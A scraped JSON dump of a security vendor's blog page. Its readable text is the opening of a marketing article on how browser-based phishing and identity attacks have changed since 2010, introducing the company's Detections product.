common.",{"url":108926,"width":1402,"height":65371},"https://images.ctfassets.net/y1cdw1ablpvd/4yiniKsw5THFJNG7djVUmp/4fc66a46477fe249a5506521dd80d4a2/image1.png",{"sys":108928,"__typename":1390,"title":106862,"caption":106862,"layoutMode":59,"file":108929},{"id":100938},{"url":106864,"width":1402,"height":65371},{"sys":108931,"__typename":1390,"title":108932,"caption":108933,"layoutMode":59,"file":108934},{"id":100951},"Phishing incident timeline","A large number of redirects were used across different sites to obfuscate the phishing link and prevent the phishing URL being linked to the original URL delivered to the victim.",{"url":108935,"width":108936,"height":108937},"https://images.ctfassets.net/y1cdw1ablpvd/6Xbed976bd7yltgfbAp9GK/3a040bf988330617690d53716fe3bd7a/Frame_627926__2_.png",3660,4200,{"sys":108939,"__typename":1414,"type":1415,"ctaText":90651,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":90586},{"id":67359},{"items":108941},[],{},"How Push stopped a high risk LinkedIn spear-phishing attack",{"items":108945},[108946,109511,110033],{"__typename":1429,"sys":108947,"content":108948,"title":103041,"synopsis":103042,"hashTags":59,"publishedDate":103043,"slug":103044,"tagsCollection":109501,"authorsCollection":109507},{"id":102398},{"json":108949},{"data":108950,"content":108951,"nodeType":1382},{},[108952,108965,108971,108974,108981,108987,108993,109009,109014,109020,109026,109032,109038,109041,109048,109054,109059,109065,109072,109078,109084,109089,109105,109110,109116,109122,109128,109133,109136,109143,109159,109165,109191,109197,109203,109208,109214,109220,109226,109229,109236,109251,109256,109262,109268,109273,109279,109285,109288,109295,109301,109317,109353,109359,109365,109371,109374,109381,109387,109393,109399,109402,109409,109415,109441,109457,109463,109466,109473,109479,109485],{"data":108953,"content":108954,"nodeType":866},{},[108955,108958,108962],{"data":108956,"marks":108957,"value":102409,"nodeType":865},{},[],{"data":108959,"marks":108960,"value":102414,"nodeType":865},{},[108961],{"type":898},{"data":108963,"marks":108964,"value":102418,"nodeType":865},{},[],{"data":108966,"content":108967,"nodeType":866},{},[108968],{"data":108969,"marks":108970,"value":102425,"nodeType":865},{},[],{"data":108972,"content":108973,"nodeType":972},{},[],{"data":108975,"content":108976,"nodeType":981},{},[108977],{"data":108978,"marks":108979,"value":102436,"nodeType":865},{},[108980],{"type":926},{"data":108982,"content":108983,"nodeType":866},{},[108984],{"data":108985,"marks":108986,"value":102443,"nodeType":865},{},[],{"data":108988,"content":108989,"nodeType":866},{},[108990],{"data":108991,"marks":108992,"value":102450,"nodeType":865},{},[],{"data":108994,"content":108995,"nodeType":866},{},[108996,108999,109006],{"data":108997,"marks":108998,"value":102457,"nodeType":865},{},[],{"data":109000,"content":109001,"nodeType":889},{"uri":102460},[109002],{"data":109003,"marks":109004,"value":13698,"nodeType":865},{},[109005],{"type":943},{"data":109007,"marks":109008,"value":102469,"nodeType":865},{},[],{"data":109010,"content":109013,"nodeType":912},{"target":109011},{"sys":109012},{"id":102474,"type":909,"linkType":910},[],{"data":109015,"content":109016,"nodeType":866},{},[109017],{"data":109018,"marks":109019,"value":102482,"nodeType":865},{},[],{"data":109021,"content":109022,"nodeType":866},{},[109023],{"data":109024,"marks":109025,"value":102489,"nodeType":865},{},[],{"data":109027,"content":109028,"nodeType":866},{},[109029],{"data":109030,"marks":109031,"value":102496,"nodeType":865},{},[],{"data":109033,"content":109034,"nodeType":866},{},[109035],{"data":109036,"marks":109037,"value":102503,"nodeType":865},{},[],{"data":109039,"content":109040,"nodeType":972},{},[],{"data":109042,"content":109043,"nodeType":981},{},[109044],{"data":109045,"marks":109046,"value":102514,"nodeType":865},{},[109047],{"type":926},{"data":109049,"content":109050,"nodeType":866},{},[109051],{"data":109052,"marks":109053,"value":102521,"nodeType":865},{},[],{"data":109055,"content":109058,"nodeType":912},{"target":109056},{"sys":109057},{"id":102526,"type":909,"linkType":910},[],{"data":109060,"content":109061,"nodeType":866},{},[109062],{"data":109063,"marks":109064,"value":102534,"nodeType":865},{},[],{"data":109066,"content":109067,"nodeType":1317},{},[109068],{"data":109069,"marks":109070,"value":102542,"nodeType":865},{},[109071],{"type":926},{"data":109073,"content":109074,"nodeType":866},{},[109075],{"data":109076,"marks":109077,"value":102549,"nodeType":865},{},[],{"data":109079,"content":109080,"nodeType":866},{},[109081],{"data":109082,"marks":109083,"value":102556,"nodeType":865},{},[],{"data":109085,"content":109088,"nodeType":912},{"target":109086},{"sys":109087},{"id":102561,"type":909,"linkType":910},[],{"data":109090,"content":109091,"nodeType":866},{},[109092,109095,109102],{"data":109093,"marks":109094,"value":102569,"nodeType":865},{},[],{"data":109096,"content":109097,"nodeType":889},{"uri":102572},[109098],{"data":109099,"marks":109100,"value":83858,"nodeType":865},{},[109101],{"type":943},{"data":109103,"marks":109104,"value":40358,"nodeType":865},{},[],{"data":109106,"content":109109,"nodeType":912},{"target":109107},{"sys":109108},{"id":102585,"type":909,"linkType":910},[],{"data":109111,"content":109112,"nodeType":866},{},[109113],{"data":109114,"marks":109115,"value":102593,"nodeType":865},{},[],{"data":109117,"content":109118,"nodeType":866},{},[109119],{"data":109120,"marks":109121,"value":102600,"nodeType":865},{},[],{"data":109123,"content":109124,"nodeType":866},{},[109125],{"data":109126,"marks":109127,"value":102607,"nodeType":865},{},[],{"data":109129,"content":109132,"nodeType":912},{"target":109130},{"sys":109131},{"id":102612,"type":909,"linkType":910},[],{"data":109134,"content":109135,"nodeType":972},{},[],{"data":109137,"content":109138,"nodeType":1317},{},[109139],{"data":109140,"marks":109141,"value":102624,"nodeType":865},{},[109142],{"type":926},{"data":109144,"content":109145,"nodeType":866},{},[109146,109149,109156],{"data":109147,"marks":109148,"value":102631,"nodeType":865},{},[],{"data":109150,"content":109151,"nodeType":889},{"uri":102634},[109152],{"data":109153,"marks":109154,"value":315,"nodeType":865},{},[109155],{"type":943},{"data":109157,"marks":109158,"value":14251,"nodeType":865},{},[],{"data":109160,"content":109161,"nodeType":866},{},[109162],{"data":109163,"marks":109164,"value":102649,"nodeType":865},{},[],{"data":109166,"content":109167,"nodeType":866},{},[109168,109171,109178,109181,109188],{"data":109169,"marks":109170,"value":102656,"nodeType":865},{},[],{"data":109172,"content":109173,"nodeType":889},{"uri":102659},[109174],{"data":109175,"marks":109176,"value":102665,"nodeType":865},{},[109177],{"type":943},{"data":109179,"marks":109180,"value":102669,"nodeType":865},{},[],{"data":109182,"content":109183,"nodeType":889},{"uri":102672},[109184],{"data":109185,"marks":109186,"value":102678,"nodeType":865},{},[109187],{"type":943},{"data":109189,"marks":109190,"value":1615,"nodeType":865},{},[],{"data":109192,"content":109193,"nodeType":866},{},[109194],{"data":109195,"marks":109196,"value":102688,"nodeType":865},{},[],{"data":109198,"content":109199,"nodeType":866},{},[109200],{"data":109201,"marks":109202,"value":102695,"nodeType":865},{},[],{"data":109204,"content":109207,"nodeType":912},{"target":109205},{"sys":109206},{"id":102700,"type":909,"linkType":910},[],{"data":109209,"content":109210,"nodeType":866},{},[109211],{"data":109212,"marks":109213,"value":102708,"nodeType":865},{},[],{"data":109215,"content":109216,"nodeType":866},{},[109217],{"data":109218,"marks":109219,"value":102715,"nodeType":865},{},[],{"data":109221,"content":109222,"nodeType":866},{},[109223],{"data":109224,"marks":109225,"value":102722,"nodeType":865},{},[],{"data":109227,"content":109228,"nodeType":972},{},[],{"data":109230,"content":109231,"nodeType":1317},{},[109232],{"data":109233,"marks":109234,"value":102733,"nodeType":865},{},[109235],{"type":926},{"data":109237,"content":109238,"nodeType":866},{},[109239,109242,109248],{"data":109240,"marks":109241,"value":102740,"nodeType":865},{},[],{"data":109243,"content":109244,"nodeType":889},{"uri":56197},[109245],{"data":109246,"marks":109247,"value":66867,"nodeType":865},{},[],{"data":109249,"marks":109250,"value":6719,"nodeType":865},{},[],{"data":109252,"content":109255,"nodeType":912},{"target":109253},{"sys":109254},{"id":102754,"type":909,"linkType":910},[],{"data":109257,"content":109258,"nodeType":866},{},[109259],{"data":109260,"marks":109261,"value":102762,"nodeType":865},{},[],{"data":109263,"content":109264,"nodeType":866},{},[109265],{"data":109266,"marks":109267,"value":102769,"nodeType":865},{},[],{"data":109269,"content":109272,"nodeType":912},{"target":109270},{"sys":109271},{"id":102774,"type":909,"linkType":910},[],{"data":109274,"content":109275,"nodeType":866},{},[109276],{"data":109277,"marks":109278,"value":102782,"nodeType":865},{},[],{"data":109280,"content":109281,"nodeType":866},{},[109282],{"data":109283,"marks":109284,"value":102789,"nodeType":865},{},[],{"data":109286,"content":109287,"nodeType":972},{},[],{"data":109289,"content":109290,"nodeType":1317},{},[109291],{"data":109292,"marks":109293,"value":102800,"nodeType":865},{},[109294],{"type":926},{"data":109296,"content":109297,"nodeType":866},{},[109298],{"data":109299,"marks":109300,"value":102807,"nodeType":865},{},[],{"data":109302,"content":109303,"nodeType":866},{},[109304,109307,109314],{"data":109305,"marks":109306,"value":102814,"nodeType":865},{},[],{"data":109308,"content":109309,"nodeType":889},{"uri":102817},[109310],{"data":109311,"marks":109312,"value":102823,"nodeType":865},{},[109313],{"type":943},{"data":109315,"marks":109316,"value":102827,"nodeType":865},{},[],{"data":109318,"content":109319,"nodeType":866},{},[109320,109323,109330,109333,109340,109343,109350],{"data":109321,"marks":109322,"value":102834,"nodeType":865},{},[],{"data":109324,"content":109325,"nodeType":889},{"uri":56177},[109326],{"data":109327,"marks":109328,"value":102842,"nodeType":865},{},[109329],{"type":943},{"data":109331,"marks":109332,"value":102846,"nodeType":865},{},[],{"data":109334,"content":109335,"nodeType":889},{"uri":102849},[109336],{"data":109337,"marks":109338,"value":102855,"nodeType":865},{},[109339],{"type":943},{"data":109341,"marks":109342,"value":3476,"nodeType":865},{},[],{"data":109344,"content":109345,"nodeType":889},{"uri":102861},[109346],{"data":109347,"marks":109348,"value":102867,"nodeType":865},{},[109349],{"type":943},{"data":109351,"marks":109352,"value":1615,"nodeType":865},{},[],{"data":109354,"content":109355,"nodeType":866},{},[109356],{"data":109357,"marks":109358,"value":102877,"nodeType":865},{},[],{"data":109360,"content":109361,"nodeType":866},{},[109362],{"data":109363,"marks":109364,"value":102884,"nodeType":865},{},[],{"data":109366,"content":109367,"nodeType":866},{},[109368],{"data":109369,"marks":109370,"value":102891,"nodeType":865},{},[],{"data":109372,"content":109373,"nodeType":972},{},[],{"data":109375,"content":109376,"nodeType":1317},{},[109377],{"data":109378,"marks":109379,"value":102902,"nodeType":865},{},[109380],{"type":926},{"data":109382,"content":109383,"nodeType":866},{},[109384],{"data":109385,"marks":109386,"value":102909,"nodeType":865},{},[],{"data":109388,"content":109389,"nodeType":866},{},[109390],{"data":109391,"marks":109392,"value":102916,"nodeType":865},{},[],{"data":109394,"content":109395,"nodeType":866},{},[109396],{"data":109397,"marks":109398,"value":102923,"nodeType":865},{},[],{"data":109400,"content":109401,"nodeType":972},{},[],{"data":109403,"content":109404,"nodeType":1317},{},[109405],{"data":109406,"marks":109407,"value":102934,"nodeType":865},{},[109408],{"type":926},{"data":109410,"content":109411,"nodeType":866},{},[109412],{"data":109413,"marks":109414,"value":102941,"nodeType":865},{},[],{"data":109416,"content":109417,"nodeType":866},{},[109418,109421,109428,109431,109438],{"data":109419,"marks":109420,"value":102948,"nodeType":865},{},[],{"data":109422,"content":109423,"nodeType":889},{"uri":102460},[109424],{"data":109425,"marks":109426,"value":13698,"nodeType":865},{},[109427],{"type":943},{"data":109429,"marks":109430,"value":102959,"nodeType":865},{},[],{"data":109432,"content":109433,"nodeType":889},{"uri":102962},[109434],{"data":109435,"marks":109436,"value":102968,"nodeType":865},{},[109437],{"type":943},{"data":109439,"marks":109440,"value":102972,"nodeType":865},{},[],{"data":109442,"content":109443,"nodeType":866},{},[109444,109447,109454],{"data":109445,"marks":109446,"value":102979,"nodeType":865},{},[],{"data":109448,"content":109449,"nodeType":889},{"uri":102982},[109450],{"data":109451,"marks":109452,"value":102988,"nodeType":865},{},[109453],{"type":943},{"data":109455,"marks":109456,"value":102992,"nodeType":865},{},[],{"data":109458,"content":109459,"nodeType":866},{},[109460],{"data":109461,"marks":109462,"value":102999,"nodeType":865},{},[],{"data":109464,"content":109465,"nodeType":972},{},[],{"data":109467,"content":109468,"nodeType":981},{},[109469],{"data":109470,"marks":109471,"value":57175,"nodeType":865},{},[109472],{"type":926},{"data":109474,"content":109475,"nodeType":866},{},[109476],{"data":109477,"marks":109478,"value":103016,"nodeType":865},{},[],{"data":109480,"content":109481,"nodeType":866},{},[109482],{"data":109483,"marks":109484,"value":103023,"nodeType":865},{},[],{"data":109486,"content":109487,"nodeType":866},{},[109488,109491,109498],{"data":109489,"marks":109490,"value":101333,"nodeType":865},{},[],{"data":109492,"content":109493,"nodeType":889},{"uri":103032},[109494],{"data":109495,"marks":109496,"value":11405,"nodeType":865},{},[109497],{"type":943},{"data":109499,"marks":109500,"value":1615,"nodeType":865},{},[],{"items":109502},[109503,109505],{"sys":109504,"name":7796},{"id":7795},{"sys":109506,"name":342},{"id":4642},{"items":109508},[109509],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":109510},{"url":7804},{"__typename":1429,"sys":109512,"content":109513,"title":106221,"synopsis":106222,"hashTags":59,"publishedDate":106223,"slug":106224,"tagsCollection":110023,"authorsCollection":110029},{"id":105628},{"json":109514},{"data":109515,"content":109516,"nodeType":1382},{},[109517,109523,109529,109545,109551,109567,109573,109576,109583,109589,109595,109600,109606,109646,109682,109689,109695,109711,109741,109746,109752,109757,109763,109770,109796,109801,109804,109811,109827,109843,109869,109874,109877,109884,109890,109970,109973,109980,109995,110001,110007],{"data":109518,"content":109519,"nodeType":866},{},[109520],{"data":109521,"marks":109522,"value":105639,"nodeType":865},{},[],{"data":109524,"content":109525,"nodeType":866},{},[109526],{"data":109527,"marks":109528,"value":105646,"nodeType":865},{},[],{"data":109530,"content":109531,"nodeType":866},{},[109532,109535,109542],{"data":109533,"marks":109534,"value":105653,"nodeType":865},{},[],{"data":109536,"content":109537,"nodeType":889},{"uri":105656},[109538],{"data":109539,"marks":109540,"value":105662,"nodeType":865},{},[109541],{"type":943},{"data":109543,"marks":109544,"value":105666,"nodeType":865},{},[],{"data":109546,"content":109547,"nodeType":866},{},[109548],{"data":109549,"marks":109550,"value":105673,"nodeType":865},{},[],{"data":109552,"content":109553,"nodeType":866},{},[109554,109557,109564],{"data":109555,"marks":109556,"value":105680,"nodeType":865},{},[],{"data":109558,"content":109559,"nodeType":889},{"uri":101283},[109560],{"data":109561,"marks":109562,"value":105688,"nodeType":865},{},[109563],{"type":943},{"data":109565,"marks":109566,"value":105692,"nodeType":865},{},[],{"data":109568,"content":109569,"nodeType":866},{},[109570],{"data":109571,"marks":109572,"value":105699,"nodeType":865},{},[],{"data":109574,"content":109575,"nodeType":972},{},[],{"data":109577,"content":109578,"nodeType":981},{},[109579],{"data":109580,"marks":109581,"value":105710,"nodeType":865},{},[109582],{"type":926},{"data":109584,"content":109585,"nodeType":866},{},[109586],{"data":109587,"marks":109588,"value":105717,"nodeType":865},{},[],{"data":109590,"content":109591,"nodeType":866},{},[109592],{"data":109593,"marks":109594,"value":105724,"nodeType":865},{},[],{"data":109596,"content":109599,"nodeType":912},{"target":109597},{"sys":109598},{"id":105729,"type":909,"linkType":910},[],{"data":109601,"content":109602,"nodeType":866},{},[109603],{"data":109604,"marks":109605,"value":105737,"nodeType":865},{},[],{"data":109607,"content":109608,"nodeType":1616},{},[109609,109618,109637],{"data":109610,"content":109611,"nodeType":1570},{},[109612],{"data":109613,"content":109614,"nodeType":866},{},[109615],{"data":109616,"marks":109617,"value":105750,"nodeType":865},{},[],{"data":109619,"content":109620,"nodeType":1570},{},[109621],{"data":109622,"content":109623,"nodeType":866},{},[109624,109627,109634],{"data":109625,"marks":109626,"value":105760,"nodeType":865},{},[],{"data":109628,"content":109629,"nodeType":889},{"uri":105763},[109630],{"data":109631,"marks":109632,"value":441,"nodeType":865},{},[109633],{"type":943},{"data":109635,"marks":109636,"value":105772,"nodeType":865},{},[],{"data":109638,"content":109639,"nodeType":1570},{},[109640],{"data":109641,"content":109642,"nodeType":866},{},[109643],{"data":109644,"marks":109645,"value":105782,"nodeType":865},{},[],{"data":109647,"content":109648,"nodeType":866},{},[109649,109652,109659,109662,109669,109672,109679],{"data":109650,"marks":109651,"value":105789,"nodeType":865},{},[],{"data":109653,"content":109654,"nodeType":889},{"uri":105792},[109655],{"data":109656,"marks":109657,"value":105798,"nodeType":865},{},[109658],{"type":943},{"data":109660,"marks":109661,"value":105802,"nodeType":865},{},[],{"data":109663,"content":109664,"nodeType":889},{"uri":105792},[109665],{"data":109666,"marks":109667,"value":105798,"nodeType":865},{},[109668],{"type":943},{"data":109670,"marks":109671,"value":105813,"nodeType":865},{},[],{"data":109673,"content":109674,"nodeType":889},{"uri":105792},[109675],{"data":109676,"marks":109677,"value":105798,"nodeType":865},{},[109678],{"type":943},{"data":109680,"marks":109681,"value":105824,"nodeType":865},{},[],{"data":109683,"content":109684,"nodeType":1317},{},[109685],{"data":109686,"marks":109687,"value":105832,"nodeType":865},{},[109688],{"type":926},{"data":109690,"content":109691,"nodeType":866},{},[109692],{"data":109693,"marks":109694,"value":105839,"nodeType":865},{},[],{"data":109696,"content":109697,"nodeType":866},{},[109698,109701,109708],{"data":109699,"marks":109700,"value":105846,"nodeType":865},{},[],{"data":109702,"content":109703,"nodeType":889},{"uri":105849},[109704],{"data":109705,"marks":109706,"value":105855,"nodeType":865},{},[109707],{"type":943},{"data":109709,"marks":109710,"value":105859,"nodeType":865},{},[],{"data":109712,"content":109713,"nodeType":866},{},[109714,109717,109724,109727,109734,109737],{"data":109715,"marks":109716,"value":105866,"nodeType":865},{},[],{"data":109718,"content":109719,"nodeType":889},{"uri":105869},[109720],{"data":109721,"marks":109722,"value":105875,"nodeType":865},{},[109723],{"type":943},{"data":109725,"marks":109726,"value":105879,"nodeType":865},{},[],{"data":109728,"content":109729,"nodeType":889},{"uri":105882},[109730],{"data":109731,"marks":109732,"value":105888,"nodeType":865},{},[109733],{"type":943},{"data":109735,"marks":109736,"value":105892,"nodeType":865},{},[],{"data":109738,"marks":109739,"value":105897,"nodeType":865},{},[109740],{"type":926},{"data":109742,"content":109745,"nodeType":912},{"target":109743},{"sys":109744},{"id":105902,"type":909,"linkType":910},[],{"data":109747,"content":109748,"nodeType":866},{},[109749],{"data":109750,"marks":109751,"value":105910,"nodeType":865},{},[],{"data":109753,"content":109756,"nodeType":912},{"target":109754},{"sys":109755},{"id":105915,"type":909,"linkType":910},[],{"data":109758,"content":109759,"nodeType":866},{},[109760],{"data":109761,"marks":109762,"value":105923,"nodeType":865},{},[],{"data":109764,"content":109765,"nodeType":1317},{},[109766],{"data":109767,"marks":109768,"value":105931,"nodeType":865},{},[109769],{"type":926},{"data":109771,"content":109772,"nodeType":866},{},[109773,109776,109783,109786,109793],{"data":109774,"marks":109775,"value":105938,"nodeType":865},{},[],{"data":109777,"content":109778,"nodeType":889},{"uri":105941},[109779],{"data":109780,"marks":109781,"value":66633,"nodeType":865},{},[109782],{"type":943},{"data":109784,"marks":109785,"value":105950,"nodeType":865},{},[],{"data":109787,"content":109788,"nodeType":889},{"uri":105792},[109789],{"data":109790,"marks":109791,"value":105798,"nodeType":865},{},[109792],{"type":943},{"data":109794,"marks":109795,"value":105961,"nodeType":865},{},[],{"data":109797,"content":109800,"nodeType":912},{"target":109798},{"sys":109799},{"id":105966,"type":909,"linkType":910},[],{"data":109802,"content":109803,"nodeType":972},{},[],{"data":109805,"content":109806,"nodeType":981},{},[109807],{"data":109808,"marks":109809,"value":66996,"nodeType":865},{},[109810],{"type":926},{"data":109812,"content":109813,"nodeType":866},{},[109814,109817,109824],{"data":109815,"marks":109816,"value":105984,"nodeType":865},{},[],{"data":109818,"content":109819,"nodeType":889},{"uri":105987},[109820],{"data":109821,"marks":109822,"value":105993,"nodeType":865},{},[109823],{"type":943},{"data":109825,"marks":109826,"value":105997,"nodeType":865},{},[],{"data":109828,"content":109829,"nodeType":866},{},[109830,109833,109840],{"data":109831,"marks":109832,"value":106004,"nodeType":865},{},[],{"data":109834,"content":109835,"nodeType":889},{"uri":106007},[109836],{"data":109837,"marks":109838,"value":106013,"nodeType":865},{},[109839],{"type":943},{"data":109841,"marks":109842,"value":106017,"nodeType":865},{},[],{"data":109844,"content":109845,"nodeType":866},{},[109846,109849,109856,109859,109866],{"data":109847,"marks":109848,"value":106024,"nodeType":865},{},[],{"data":109850,"content":109851,"nodeType":889},{"uri":105763},[109852],{"data":109853,"marks":109854,"value":441,"nodeType":865},{},[109855],{"type":943},{"data":109857,"marks":109858,"value":106035,"nodeType":865},{},[],{"data":109860,"content":109861,"nodeType":889},{"uri":70881},[109862],{"data":109863,"marks":109864,"value":106043,"nodeType":865},{},[109865],{"type":943},{"data":109867,"marks":109868,"value":106047,"nodeType":865},{},[],{"data":109870,"content":109873,"nodeType":912},{"target":109871},{"sys":109872},{"id":67359,"type":909,"linkType":910},[],{"data":109875,"content":109876,"nodeType":972},{},[],{"data":109878,"content":109879,"nodeType":981},{},[109880],{"data":109881,"marks":109882,"value":106063,"nodeType":865},{},[109883],{"type":926},{"data":109885,"content":109886,"nodeType":866},{},[109887],{"data":109888,"marks":109889,"value":106070,"nodeType":865},{},[],{"data":109891,"content":109892,"nodeType":1616},{},[109893,109902,109921],{"data":109894,"content":109895,"nodeType":1570},{},[109896],{"data":109897,"content":109898,"nodeType":866},{},[109899],{"data":109900,"marks":109901,"value":106083,"nodeType":865},{},[],{"data":109903,"content":109904,"nodeType":1570},{},[109905],{"data":109906,"content":109907,"nodeType":866},{},[109908,109911,109918],{"data":109909,"marks":109910,"value":106093,"nodeType":865},{},[],{"data":109912,"content":109913,"nodeType":889},{"uri":105792},[109914],{"data":109915,"marks":109916,"value":105798,"nodeType":865},{},[109917],{"type":943},{"data":109919,"marks":109920,"value":106104,"nodeType":865},{},[],{"data":109922,"content":109923,"nodeType":1570},{},[109924],{"data":109925,"content":109926,"nodeType":866},{},[109927,109930,109937,109940,109947,109950,109957,109960,109967],{"data":109928,"marks":109929,"value":106114,"nodeType":865},{},[],{"data":109931,"content":109932,"nodeType":889},{"uri":106117},[109933],{"data":109934,"marks":109935,"value":106123,"nodeType":865},{},[109936],{"type":943},{"data":109938,"marks":109939,"value":2717,"nodeType":865},{},[],{"data":109941,"content":109942,"nodeType":889},{"uri":106129},[109943],{"data":109944,"marks":109945,"value":106135,"nodeType":865},{},[109946],{"type":943},{"data":109948,"marks":109949,"value":2717,"nodeType":865},{},[],{"data":109951,"content":109952,"nodeType":889},{"uri":106141},[109953],{"data":109954,"marks":109955,"value":106147,"nodeType":865},{},[109956],{"type":943},{"data":109958,"marks":109959,"value":11397,"nodeType":865},{},[],{"data":109961,"content":109962,"nodeType":889},{"uri":106153},[109963],{"data":109964,"marks":109965,"value":106159,"nodeType":865},{},[109966],{"type":943},{"data":109968,"marks":109969,"value":106163,"nodeType":865},{},[],{"data":109971,"content":109972,"nodeType":972},{},[],{"data":109974,"content":109975,"nodeType":981},{},[109976],{"data":109977,"marks":109978,"value":2270,"nodeType":865},{},[109979],{"type":926},{"data":109981,"content":109982,"nodeType":866},{},[109983,109986,109992],{"data":109984,"marks":109985,"value":106180,"nodeType":865},{},[],{"data":109987,"content":109988,"nodeType":889},{"uri":8862},[109989],{"data":109990,"marks":109991,"value":67317,"nodeType":865},{},[],{"data":109993,"marks":109994,"value":101319,"nodeType":865},{},[],{"data":109996,"content":109997,"nodeType":866},{},[109998],{"data":109999,"marks":110000,"value":106196,"nodeType":865},{},[],{"data":110002,"content":110003,"nodeType":866},{},[110004],{"data":110005,"marks":110006,"value":106203,"nodeType":865},{},[],{"data":110008,"content":110009,"nodeType":866},{},[110010,110013,110020],{"data":110011,"marks":110012,"value":104093,"nodeType":865},{},[],{"data":110014,"content":110015,"nodeType":889},{"uri":16069},[110016],{"data":110017,"marks":110018,"value":106217,"nodeType":865},{},[110019],{"type":943},{"data":110021,"marks":110022,"value":21,"nodeType":865},{},[],{"items":110024},[110025,110027],{"sys":110026,"name":342},{"id":4642},{"sys":110028,"name":7796},{"id":7795},{"items":110030},[110031],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":110032},{"url":11425},{"__typename":1429,"sys":110034,"content":110035,"title":87609,"synopsis":111017,"hashTags":59,"publishedDate":111018,"slug":87610,"tagsCollection":111019,"authorsCollection":111025},{"id":79944},{"json":110036},{"data":110037,"content":110038,"nodeType":1382},{},[110039,110046,110058,110070,110082,110094,110100,110119,110126,110142,110149,110155,110158,110166,110173,110180,110187,110193,110196,110204,110211,110231,110238,110245,110252,110259,110265,110272,110279,110286,110315,110322,110340,110347,110354,110374,110394,110414,110420,110427,110443,110450,110457,110464,110483,110491,110498,110505,110508,110516,110523,110530,110537,110580,110586,110593,110608,110697,110703,110710,110717,110780,110787,110794,110801,110807,110814,110821,110828,110834,110841,110848,110855,110861,110881,110888,110895,110938,110944,110947,110955,110979,110982,110989,110995,111001],{"data":110040,"content":110041,"nodeType":866},{},[110042],{"data":110043,"marks":110044,"value":110045,"nodeType":865},{},[],"Oh, look! A time capsule from 2010. Wonder what’s inside … ",{"data":110047,"content":110048,"nodeType":866},{},[110049,110054],{"data":110050,"marks":110051,"value":110053,"nodeType":865},{},[110052],{"type":926},"Listening to:",{"data":110055,"marks":110056,"value":110057,"nodeType":865},{},[]," “Like a G6” by Far East Movement (on a Nokia C7 — hey, it even had a touchscreen).",{"data":110059,"content":110060,"nodeType":866},{},[110061,110066],{"data":110062,"marks":110063,"value":110065,"nodeType":865},{},[110064],{"type":926},"Major news event:",{"data":110067,"marks":110068,"value":110069,"nodeType":865},{},[]," Eyjafjallajökull volcano erupts in Iceland, disrupting air travel.",{"data":110071,"content":110072,"nodeType":866},{},[110073,110078],{"data":110074,"marks":110075,"value":110077,"nodeType":865},{},[110076],{"type":926},"Worried about:",{"data":110079,"marks":110080,"value":110081,"nodeType":865},{},[]," Exploitable Flash browser plugins and static HTML phishing sites.",{"data":110083,"content":110084,"nodeType":866},{},[110085,110090],{"data":110086,"marks":110087,"value":110089,"nodeType":865},{},[110088],{"type":926},"How to be a hero?",{"data":110091,"marks":110092,"value":110093,"nodeType":865},{},[]," Roll out the latest AV, implement a web proxy, and add a “report phishing” button to your email solution.",{"data":110095,"content":110099,"nodeType":912},{"target":110096},{"sys":110097},{"id":110098,"type":909,"linkType":910},"54xYbMs0ii96xb2jgQVX9m",[],{"data":110101,"content":110102,"nodeType":866},{},[110103,110107,110115],{"data":110104,"marks":110105,"value":110106,"nodeType":865},{},[],"We’re halfway through 2025, and the time capsule for this year may need to be an XL when it comes to ",{"data":110108,"content":110109,"nodeType":889},{"uri":54299},[110110],{"data":110111,"marks":110112,"value":110114,"nodeType":865},{},[110113],{"type":943},"how much has happened",{"data":110116,"marks":110117,"value":110118,"nodeType":865},{},[]," in the world of browser-based attacks. (Yet fittingly, Drake’s “Nokia” is a pop hit.)",{"data":110120,"content":110121,"nodeType":866},{},[110122],{"data":110123,"marks":110124,"value":110125,"nodeType":865},{},[],"While at least we don’t have to worry about Flash anymore, the browser is now the new battleground, and workforce identities are the most common target. Security teams are struggling with approaches and tools that attackers have outpaced.",{"data":110127,"content":110128,"nodeType":866},{},[110129,110133,110138],{"data":110130,"marks":110131,"value":110132,"nodeType":865},{},[],"In this article, we’ll cover how browser-based attacks have evolved, and how Push is taking a new approach with the release of our ",{"data":110134,"marks":110135,"value":110137,"nodeType":865},{},[110136],{"type":926},"Detections",{"data":110139,"marks":110140,"value":110141,"nodeType":865},{},[]," capabilities, now generally available to all customers.",{"data":110143,"content":110144,"nodeType":866},{},[110145],{"data":110146,"marks":110147,"value":110148,"nodeType":865},{},[],"Push Detections use real-time telemetry to help you understand context, user behavior, and attacker techniques, and then respond — a modern tool for modern browser-based attacks.",{"data":110150,"content":110154,"nodeType":912},{"target":110151},{"sys":110152},{"id":110153,"type":909,"linkType":910},"2ULDSj85bXtT2OgpXKBHtB",[],{"data":110156,"content":110157,"nodeType":972},{},[],{"data":110159,"content":110160,"nodeType":981},{},[110161],{"data":110162,"marks":110163,"value":110165,"nodeType":865},{},[110164],{"type":926},"The old world vs. the new world",{"data":110167,"content":110168,"nodeType":866},{},[110169],{"data":110170,"marks":110171,"value":110172,"nodeType":865},{},[],"In the early 2010s, the typical attack path involved sending a user an email with a link to a static HTML webpage (most commonly a generic Exchange Web Access clone) that tricked them into giving you Active Directory creds. These could be used to log in to an exposed remote desktop service or the victim’s mailbox, giving the attacker a foothold to install malware. Anyone who’s done “red teaming 101” will recognize this scenario. ",{"data":110174,"content":110175,"nodeType":866},{},[110176],{"data":110177,"marks":110178,"value":110179,"nodeType":865},{},[],"A compromised identity was once just part of a system compromise. That meant the scope of detection and response was focused on the organization’s Active Directory domain, correlated with endpoint and network logs. ",{"data":110181,"content":110182,"nodeType":866},{},[110183],{"data":110184,"marks":110185,"value":110186,"nodeType":865},{},[],"But now, identity attacks happen beyond traditional on-premises networks, impacting cloud identities that are created, used, and attacked in the browser. What was once the familiar backbone of business IT — internal apps and thick clients — has been replaced with a sprawling cloud and SaaS ecosystem that can be targeted directly via identity, without touching the endpoint. ",{"data":110188,"content":110192,"nodeType":912},{"target":110189},{"sys":110190},{"id":110191,"type":909,"linkType":910},"2F2p4eTMCHo3LfNQJZeGWB",[],{"data":110194,"content":110195,"nodeType":972},{},[],{"data":110197,"content":110198,"nodeType":981},{},[110199],{"data":110200,"marks":110201,"value":110203,"nodeType":865},{},[110202],{"type":926},"Why detection and response hasn’t kept up with threat evolution",{"data":110205,"content":110206,"nodeType":866},{},[110207],{"data":110208,"marks":110209,"value":110210,"nodeType":865},{},[],"This shift in attacker TTPs is forcing a change in how we handle detection and response. 